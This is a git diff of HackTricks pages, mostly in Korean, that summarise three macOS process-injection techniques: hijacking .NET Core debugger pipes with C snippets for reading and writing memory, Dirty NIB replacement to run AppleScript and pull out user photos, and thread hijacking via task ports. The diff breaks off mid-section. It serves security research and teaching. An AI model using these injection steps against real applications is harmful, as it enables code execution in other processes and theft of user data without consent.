diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md index abf6909b9..03e8b0c23 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md @@ -1,30 +1,31 @@ -# macOS .Net 애플리케이션 인젝션 +# macOS .Net Applications Injection + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요! +Support HackTricks -HackTricks를 지원하는 다른 방법: - -* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! -* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요. -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다. -* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요. -* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 해킹 기법을 공유하세요. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -**이것은 [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/)의 글 요약입니다. 자세한 내용은 해당 글을 확인하세요!** +**이것은 [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/) 게시물의 요약입니다. 추가 세부정보는 해당 링크를 확인하세요!** -## .NET Core 디버깅 +## .NET Core Debugging ### **디버깅 세션 설정** -.NET에서 디버거와 디버깅 대상 간의 통신은 [**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp)에서 관리됩니다. 이 구성 요소는 [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127)에서 확인할 수 있듯이 .NET 프로세스당 두 개의 이름이 지정된 파이프를 설정합니다. 이 파이프는 [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27)를 통해 시작됩니다. 이 파이프는 **`-in`**과 **`-out`**로 접미사가 붙습니다. +.NET에서 디버거와 디버그 대상 간의 통신 처리는 [**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp)에서 관리됩니다. 이 구성 요소는 [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127)에서 볼 수 있듯이 각 .NET 프로세스에 대해 두 개의 명명된 파이프를 설정하며, 이는 [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27)를 통해 시작됩니다. 이러한 파이프는 **`-in`** 및 **`-out`**으로 접미사가 붙습니다. -사용자의 **`$TMPDIR`**을 방문하면 .Net 애플리케이션을 디버깅하기 위한 디버깅 FIFO를 찾을 수 있습니다. +사용자의 **`$TMPDIR`**를 방문하면 .Net 애플리케이션을 디버깅하기 위한 디버깅 FIFO를 찾을 수 있습니다. -[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259)는 디버거로부터의 통신을 관리합니다. 새로운 디버깅 세션을 시작하려면 디버거는 `out` 파이프를 통해 `MessageHeader` 구조체로 시작하는 메시지를 보내야 합니다. 이 구조체는 .NET 소스 코드에서 자세히 설명되어 있습니다: +[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259)는 디버거로부터의 통신 관리를 담당합니다. 새로운 디버깅 세션을 시작하려면 디버거는 `MessageHeader` 구조체로 시작하는 메시지를 `out` 파이프를 통해 전송해야 하며, 이는 .NET 소스 코드에 자세히 설명되어 있습니다: ```c struct MessageHeader { MessageType m_eType; // Message type @@ -43,7 +44,7 @@ DWORD m_dwMinorVersion; BYTE m_sMustBeZero[8]; } ``` -새 세션을 요청하기 위해 다음과 같이 이 구조체를 채웁니다. 메시지 유형을 `MT_SessionRequest`로 설정하고 프로토콜 버전을 현재 버전으로 설정합니다. +새 세션을 요청하기 위해, 이 구조체는 다음과 같이 채워지며, 메시지 유형을 `MT_SessionRequest`로 설정하고 프로토콜 버전을 현재 버전으로 설정합니다: ```c static const DWORD kCurrentMajorVersion = 2; static const DWORD kCurrentMinorVersion = 0; @@ -54,18 +55,18 @@ sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion; sSendHeader.m_cbDataBlock = sizeof(SessionRequestData); ``` -이 헤더는 `write` 시스콜을 사용하여 대상에게 전송되며, 세션에 대한 GUID를 포함하는 `sessionRequestData` 구조체가 뒤따릅니다: +이 헤더는 `write` 시스템 호출을 사용하여 대상에 전송되며, 그 뒤에 세션을 위한 GUID를 포함하는 `sessionRequestData` 구조체가 옵니다: ```c write(wr, &sSendHeader, sizeof(MessageHeader)); memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData)); write(wr, &sDataBlock, sizeof(SessionRequestData)); ``` -`out` 파이프에 대한 읽기 작업은 디버깅 세션 설정의 성공 또는 실패를 확인합니다. +`out` 파이프에서의 읽기 작업은 디버깅 세션 설정의 성공 또는 실패를 확인합니다: ```c read(rd, &sReceiveHeader, sizeof(MessageHeader)); ``` ## 메모리 읽기 -디버깅 세션이 설정되면 [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896) 메시지 유형을 사용하여 메모리를 읽을 수 있습니다. readMemory 함수는 자세히 설명되어 있으며, 읽기 요청을 보내고 응답을 검색하기 위해 필요한 단계를 수행합니다: +디버깅 세션이 설정되면 [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896) 메시지 유형을 사용하여 메모리를 읽을 수 있습니다. 함수 readMemory는 읽기 요청을 보내고 응답을 검색하는 데 필요한 단계를 수행하는 자세한 내용입니다: ```c bool readMemory(void *addr, int len, unsigned char **output) { // Allocation and initialization @@ -77,11 +78,11 @@ bool readMemory(void *addr, int len, unsigned char **output) { return true; } ``` -완전한 개념 증명 (POC)은 [여기](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b)에서 사용할 수 있습니다. +The complete proof of concept (POC) is available [here](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b). -## 메모리 쓰기 +## Writing Memory -마찬가지로, `writeMemory` 함수를 사용하여 메모리를 쓸 수 있습니다. 이 과정은 메시지 유형을 `MT_WriteMemory`로 설정하고 데이터의 주소와 길이를 지정한 다음 데이터를 전송하는 것을 포함합니다: +유사하게, 메모리는 `writeMemory` 함수를 사용하여 쓸 수 있습니다. 이 과정은 메시지 유형을 `MT_WriteMemory`로 설정하고, 데이터의 주소와 길이를 지정한 다음, 데이터를 전송하는 것을 포함합니다: ```c bool writeMemory(void *addr, int len, unsigned char *input) { // Increment IDs, set message type, and specify memory location @@ -97,33 +98,34 @@ return true; ## .NET Core 코드 실행 -코드를 실행하기 위해서는 rwx 권한을 가진 메모리 영역을 식별해야 합니다. 이는 vmmap -pages를 사용하여 수행할 수 있습니다: +코드를 실행하려면 rwx 권한이 있는 메모리 영역을 식별해야 하며, 이는 vmmap -pages를 사용하여 수행할 수 있습니다. ```bash vmmap -pages [pid] vmmap -pages 35829 | grep "rwx/rwx" ``` -함수 포인터를 덮어쓸 위치를 찾는 것이 필요하며, .NET Core에서는 **Dynamic Function Table (DFT)**를 대상으로 할 수 있습니다. 이 테이블은 JIT 컴파일 헬퍼 함수를 위해 런타임에서 사용됩니다. +함수 포인터를 덮어쓸 위치를 찾는 것은 필요하며, .NET Core에서는 **Dynamic Function Table (DFT)**를 타겟팅하여 이를 수행할 수 있습니다. 이 테이블은 [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h)에서 자세히 설명되어 있으며, 런타임에서 JIT 컴파일 헬퍼 함수에 사용됩니다. -x64 시스템의 경우, `libcorclr.dll`에서 `_hlpDynamicFuncTable` 심볼에 대한 참조를 찾기 위해 시그니처 헌팅을 사용할 수 있습니다. +x64 시스템의 경우, 서명 검색을 사용하여 `libcorclr.dll`에서 심볼 `_hlpDynamicFuncTable`에 대한 참조를 찾을 수 있습니다. -`MT_GetDCB` 디버거 함수는 `m_helperRemoteStartAddr`라는 헬퍼 함수의 주소를 포함한 유용한 정보를 제공합니다. 이 주소는 프로세스 메모리에서 `libcorclr.dll`의 위치를 나타냅니다. 이 주소를 사용하여 DFT를 검색하고 함수 포인터를 쉘코드의 주소로 덮어씁니다. +`MT_GetDCB` 디버거 함수는 헬퍼 함수의 주소인 `m_helperRemoteStartAddr`를 포함하여 유용한 정보를 제공합니다. 이는 프로세스 메모리에서 `libcorclr.dll`의 위치를 나타냅니다. 이 주소는 DFT 검색을 시작하고 함수 포인터를 셸코드의 주소로 덮어쓰는 데 사용됩니다. -PowerShell로의 인젝션을 위한 전체 POC 코드는 [여기](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6)에서 확인할 수 있습니다. +PowerShell에 대한 주입을 위한 전체 POC 코드는 [여기](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6)에서 접근할 수 있습니다. -## 참고 자료 +## References * [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/) +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요! +Support HackTricks -HackTricks를 지원하는 다른 방법: - -* HackTricks에서 **회사 광고를 보거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! -* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 구매하세요. -* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. -* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요. -* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md index e9db137e2..a2ddf2ab2 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md @@ -1,36 +1,37 @@ # macOS Dirty NIB +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요! +Support HackTricks -HackTricks를 지원하는 다른 방법: - -* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! -* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요. -* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. -* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우**하세요. -* **HackTricks**와 **HackTricks Cloud** github 저장소에 **PR을 제출**하여 여러분의 해킹 기교를 공유하세요. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -**기술에 대한 자세한 내용은 원본 게시물을 확인하세요: [https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/).** 여기에는 요약이 있습니다: +**기술에 대한 자세한 내용은 원본 게시물을 확인하세요: [https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/).** 요약은 다음과 같습니다: -NIB 파일은 Apple의 개발 생태계의 일부로, 애플리케이션에서 **UI 요소**와 그들의 상호작용을 정의하기 위해 사용됩니다. 이들은 창과 버튼과 같은 직렬화된 객체를 포함하며, 런타임에 로드됩니다. Apple은 이제 더 포괄적인 UI 흐름 시각화를 위해 스토리보드를 권장하고 있지만, 여전히 NIB 파일이 사용되고 있습니다. +NIB 파일은 Apple의 개발 생태계의 일부로, 애플리케이션에서 **UI 요소**와 그 상호작용을 정의하는 데 사용됩니다. 이들은 창 및 버튼과 같은 직렬화된 객체를 포함하며, 런타임에 로드됩니다. 지속적으로 사용되고 있지만, Apple은 이제 더 포괄적인 UI 흐름 시각화를 위해 Storyboards를 권장합니다. -### NIB 파일과 관련된 보안 문제 -**NIB 파일은 보안 위험**이 될 수 있습니다. 이들은 **임의의 명령을 실행**할 수 있으며, 앱 내의 NIB 파일을 변경해도 Gatekeeper가 앱을 실행하는 것을 방해하지 않으므로 중대한 위협이 될 수 있습니다. +### NIB 파일의 보안 문제 +**NIB 파일은 보안 위험이 될 수 있습니다**. 이들은 **임의의 명령을 실행할 수 있는 잠재력**을 가지고 있으며, 앱 내 NIB 파일의 변경은 Gatekeeper가 앱을 실행하는 것을 방해하지 않아 상당한 위협이 됩니다. -### Dirty NIB 삽입 과정 +### 더러운 NIB 주입 프로세스 #### NIB 파일 생성 및 설정 1. **초기 설정**: -- XCode를 사용하여 새로운 NIB 파일을 생성합니다. -- 인터페이스에 Object를 추가하고, 클래스를 `NSAppleScript`로 설정합니다. -- User Defined Runtime Attributes를 통해 초기 `source` 속성을 구성합니다. +- XCode를 사용하여 새 NIB 파일을 생성합니다. +- 인터페이스에 객체를 추가하고, 그 클래스는 `NSAppleScript`로 설정합니다. +- 사용자 정의 런타임 속성을 통해 초기 `source` 속성을 구성합니다. 2. **코드 실행 가젯**: -- 설정은 필요할 때 AppleScript를 실행할 수 있도록 합니다. -- `Apple Script` 객체를 활성화하는 버튼을 통합합니다. 특히 `executeAndReturnError:` 선택기를 트리거합니다. +- 이 설정은 필요에 따라 AppleScript를 실행할 수 있게 합니다. +- `Apple Script` 객체를 활성화하는 버튼을 통합하여 `executeAndReturnError:` 선택자를 트리거합니다. 3. **테스트**: - 테스트 목적으로 간단한 Apple Script: @@ -40,32 +41,48 @@ display dialog theDialogText ``` - XCode 디버거에서 실행하고 버튼을 클릭하여 테스트합니다. -#### 애플리케이션 대상 설정 (예: Pages) +#### 애플리케이션 타겟팅 (예: Pages) 1. **준비**: -- 대상 앱 (예: Pages)을 별도의 디렉토리 (예: `/tmp/`)에 복사합니다. -- Gatekeeper 문제를 우회하고 캐시하기 위해 앱을 시작합니다. +- 타겟 앱(예: Pages)을 별도의 디렉토리(예: `/tmp/`)로 복사합니다. +- Gatekeeper 문제를 피하고 캐시를 위해 앱을 시작합니다. 2. **NIB 파일 덮어쓰기**: -- 기존의 NIB 파일 (예: About Panel NIB)을 조작된 DirtyNIB 파일로 대체합니다. +- 기존 NIB 파일(예: About Panel NIB)을 제작한 DirtyNIB 파일로 교체합니다. 3. **실행**: -- 앱과 상호작용하여 실행을 트리거합니다 (예: `About` 메뉴 항목 선택). +- 앱과 상호작용하여 실행을 트리거합니다(예: `About` 메뉴 항목 선택). #### 개념 증명: 사용자 데이터 접근 -- AppleScript를 수정하여 사용자 동의 없이 사진과 같은 사용자 데이터에 접근하고 추출합니다. +- 사용자 동의 없이 사진과 같은 사용자 데이터를 접근하고 추출하도록 AppleScript를 수정합니다. ### 코드 샘플: 악성 .xib 파일 -- 임의의 코드를 실행하는 [**악성 .xib 파일 샘플**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4)에 접근하고 검토합니다. +- 임의의 코드를 실행하는 [**악성 .xib 파일 샘플**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4)을 접근하고 검토합니다. -### 실행 제약 조건 해결 -- 실행 제약 조건은 예기치 않은 위치 (예: `/tmp`)에서 앱 실행을 방지합니다. -- 실행 제약 조건에 보호되지 않은 앱을 식별하고 NIB 파일 삽입을 위해 대상으로 지정할 수 있습니다. +### 실행 제약 해결 +- 실행 제약은 예상치 못한 위치(예: `/tmp`)에서 앱 실행을 방해합니다. +- 실행 제약으로 보호되지 않는 앱을 식별하고 NIB 파일 주입을 위해 타겟팅할 수 있습니다. -### 추가적인 macOS 보호 기능 -macOS Sonoma 이후로 앱 번들 내에서의 수정이 제한됩니다. 그러나 이전 방법은 다음과 같습니다: -1. 앱을 다른 위치 (예: `/tmp/`)로 복사합니다. -2. 초기 보호를 우회하기 위해 앱 번들 내의 디렉토리 이름을 변경합니다. -3. Gatekeeper에 등록하기 위해 앱을 실행한 후, 앱 번들을 수정합니다 (예: MainMenu.nib을 Dirty.nib로 대체). -4. 디렉토리 이름을 다시 변경하고 주입된 NIB 파일을 실행하기 위해 앱을 다시 실행합니다. +### 추가 macOS 보호 조치 +macOS Sonoma 이후, 앱 번들 내 수정이 제한됩니다. 그러나 이전 방법은 다음을 포함했습니다: +1. 앱을 다른 위치(예: `/tmp/`)로 복사합니다. +2. 초기 보호를 우회하기 위해 앱 번들 내 디렉토리 이름을 변경합니다. +3. Gatekeeper에 등록하기 위해 앱을 실행한 후, 앱 번들을 수정합니다(예: MainMenu.nib를 Dirty.nib로 교체). +4. 디렉토리 이름을 다시 변경하고 앱을 재실행하여 주입된 NIB 파일을 실행합니다. -**참고**: 최근 macOS 업데이트에서는 Gatekeeper 캐싱 이후 앱 번들 내의 파일 수정을 방지하여 이 취약점을 완화시켰습니다. +**참고**: 최근 macOS 업데이트는 Gatekeeper 캐싱 후 앱 번들 내 파일 수정을 방지하여 이 익스플로잇을 무효화했습니다. + + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Support HackTricks + +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md index 68f92e269..1b0932f34 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md @@ -1,68 +1,69 @@ -# macOS Task 포트를 통한 스레드 주입 +# macOS Thread Injection via Task port + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요! +Support HackTricks -HackTricks를 지원하는 다른 방법: - -* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! -* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요. -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다. -* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요. -* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -## 코드 +## Code * [https://github.com/bazad/threadexec](https://github.com/bazad/threadexec) * [https://gist.github.com/knightsc/bd6dfeccb02b77eb6409db5601dcef36](https://gist.github.com/knightsc/bd6dfeccb02b77eb6409db5601dcef36) -## 1. 스레드 하이재킹 +## 1. Thread Hijacking -먼저, 원격 태스크에서 스레드 목록을 얻기 위해 **`task_threads()`** 함수가 태스크 포트에서 호출됩니다. 하이재킹할 스레드가 선택됩니다. 이 접근 방식은 `thread_create_running()`을 차단하는 새로운 방어 기능으로 인해 새로운 원격 스레드를 생성하는 일반적인 코드 주입 방법과 다릅니다. +처음에, **`task_threads()`** 함수가 원격 작업에서 스레드 목록을 얻기 위해 작업 포트에서 호출됩니다. 스레드가 하이재킹을 위해 선택됩니다. 이 접근 방식은 새로운 완화가 `thread_create_running()`을 차단하기 때문에 기존의 코드 주입 방법과 다릅니다. -스레드를 제어하기 위해 **`thread_suspend()`**가 호출되어 실행이 중지됩니다. +스레드를 제어하기 위해 **`thread_suspend()`**가 호출되어 실행이 중단됩니다. -원격 스레드에서 허용되는 유일한 작업은 스레드를 **중지**하고 **시작**하며, 레지스터 값을 **검색**하고 **수정**하는 것입니다. 원격 함수 호출은 레지스터 `x0`에서 `x7`을 **인수**로 설정하고, 원하는 함수를 대상으로 **`pc`**를 구성하고, 스레드를 활성화하여 시작됩니다. 반환 후 스레드가 충돌하지 않도록 보장하기 위해 반환을 감지해야 합니다. +원격 스레드에서 허용되는 유일한 작업은 **중지** 및 **시작**과 **레지스터** 값을 **가져오고** **수정하는** 것입니다. 원격 함수 호출은 레지스터 `x0`에서 `x7`을 **인수**로 설정하고, **`pc`**를 원하는 함수로 설정한 후 스레드를 활성화하여 시작됩니다. 반환 후 스레드가 충돌하지 않도록 하려면 반환을 감지해야 합니다. -한 가지 전략은 원격 스레드에 대한 **예외 핸들러를 등록**하는 것입니다. 이를 위해 `thread_set_exception_ports()`를 사용하여 `lr` 레지스터를 함수 호출 전에 잘못된 주소로 설정합니다. 이렇게 하면 예외가 함수 실행 후에 발생하여 예외 포트로 메시지가 전송되고, 스레드의 상태를 검사하여 반환 값을 복구할 수 있습니다. 또는 Ian Beer의 triple\_fetch exploit에서 채택한 대로 `lr`을 무한히 반복하는 것입니다. 그런 다음 스레드의 레지스터를 계속 모니터링하고 **`pc`가 해당 명령어를 가리킬 때까지** 기다립니다. +한 가지 전략은 `thread_set_exception_ports()`를 사용하여 원격 스레드에 대한 예외 처리기를 **등록**하는 것입니다. 함수 호출 전에 `lr` 레지스터를 잘못된 주소로 설정합니다. 이는 함수 실행 후 예외를 발생시켜 예외 포트에 메시지를 보내고, 스레드의 상태를 검사하여 반환 값을 복구할 수 있게 합니다. 또는 Ian Beer의 triple\_fetch 익스플로잇에서 채택한 대로 `lr`을 무한 루프에 설정할 수 있습니다. 그런 다음 스레드의 레지스터를 지속적으로 모니터링하여 **`pc`가 해당 명령어를 가리킬 때까지** 진행합니다. -## 2. 통신을 위한 Mach 포트 +## 2. Mach ports for communication -다음 단계에서는 원격 스레드와의 통신을 용이하게하기 위해 Mach 포트를 설정합니다. 이러한 포트는 작업 간에 임의의 송신 및 수신 권한을 전송하는 데 중요한 역할을 합니다. +다음 단계는 원격 스레드와의 통신을 용이하게 하기 위해 Mach 포트를 설정하는 것입니다. 이러한 포트는 작업 간에 임의의 전송 및 수신 권한을 전송하는 데 중요합니다. -양방향 통신을 위해 로컬 및 원격 태스크에서 각각 두 개의 Mach 수신 권한이 생성됩니다. 그런 다음 각 포트에 대한 송신 권한이 상대 태스크로 전송되어 메시지 교환을 가능하게 합니다. +양방향 통신을 위해 두 개의 Mach 수신 권한이 생성됩니다: 하나는 로컬 작업에, 다른 하나는 원격 작업에 있습니다. 이후 각 포트에 대한 전송 권한이 상대 작업으로 전송되어 메시지 교환이 가능해집니다. -로컬 포트에 초점을 맞추면, 수신 권한은 로컬 태스크에 의해 보유됩니다. 포트는 `mach_port_allocate()`를 사용하여 생성됩니다. 로컬 포트로의 송신 권한을 원격 스레드로 전송하는 것이 어려운 부분입니다. +로컬 포트에 집중하면, 수신 권한은 로컬 작업에 의해 보유됩니다. 포트는 `mach_port_allocate()`로 생성됩니다. 이 포트에 대한 전송 권한을 원격 작업으로 전송하는 것이 도전 과제가 됩니다. -한 가지 전략은 `thread_set_special_port()`를 활용하여 로컬 포트의 송신 권한을 원격 스레드의 `THREAD_KERNEL_PORT`에 배치하는 것입니다. 그런 다음 원격 스레드에게 `mach_thread_self()`를 호출하도록 지시하여 송신 권한을 검색합니다. +한 가지 전략은 `thread_set_special_port()`를 활용하여 원격 스레드의 `THREAD_KERNEL_PORT`에 로컬 포트에 대한 전송 권한을 배치하는 것입니다. 그런 다음 원격 스레드에 `mach_thread_self()`를 호출하여 전송 권한을 가져오도록 지시합니다. -원격 포트의 경우, 프로세스는 기본적으로 반대로 진행됩니다. 원격 스레드는 `mach_reply_port()`를 통해 Mach 포트를 생성하도록 지시받습니다(`mach_port_allocate()`는 반환 메커니즘 때문에 적합하지 않습니다). 포트 생성 후, 원격 스레드에서 `mach_port_insert_right()`를 호출하여 송신 권한을 설정합니다. 이 권한은 그런 다음 `thread_set_special_port()`를 사용하여 커널에 저장됩니다. 로컬 태스크에서는 